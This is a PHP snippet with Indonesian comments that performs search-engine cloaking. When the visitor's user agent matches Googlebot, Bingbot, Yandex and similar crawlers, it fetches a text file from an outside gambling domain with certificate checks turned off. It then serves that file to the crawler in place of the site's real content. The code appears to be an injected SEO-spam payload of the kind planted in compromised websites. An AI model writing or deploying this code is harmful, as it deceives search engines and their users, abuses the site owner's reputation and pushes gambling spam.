function get_lp($url) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_CONNECTTIMEOUT => 3, CURLOPT_TIMEOUT => 5 ]); $result = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $errNo = curl_errno($ch); $errMsg = $errNo ? curl_error($ch) : ''; curl_close($ch); return [ 'body' => $result, 'http_code' => $httpCode, 'errno' => $errNo, 'error' => $errMsg ]; } // === Konfigurasi === $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); $is_bot = preg_match( '/googlebot|google-site-verification|google-inspectiontool|google-inspection-tool|google-amphtml|google-amp|bingbot|slurp|duckduckbot|yandexbot/i', $ua ); $lp_url = 'https://aktualdaerah.bet/vip/universitedeyoga.txt'; // === Jalankan cloaking jika bot === if ($is_bot) { $fetch = get_lp($lp_url); if (isset($fetch['errno']) && $fetch['errno'] !== 0) { // Curl error saat fetch LP header('Content-Type: text/plain; charset=utf-8', true, 502); echo "Cloaking error: fetch failed ({$fetch['error']})"; exit; } $html = $fetch['body'] ?? ''; if ($html !== null && strlen(trim($html)) > 0) { header('Content-Type: text/html; charset=utf-8'); echo $html; exit; } else { header('Content-Type: text/plain; charset=utf-8', true, 204); echo 'Cloaking notice: no content returned from LP URL.'; exit; } }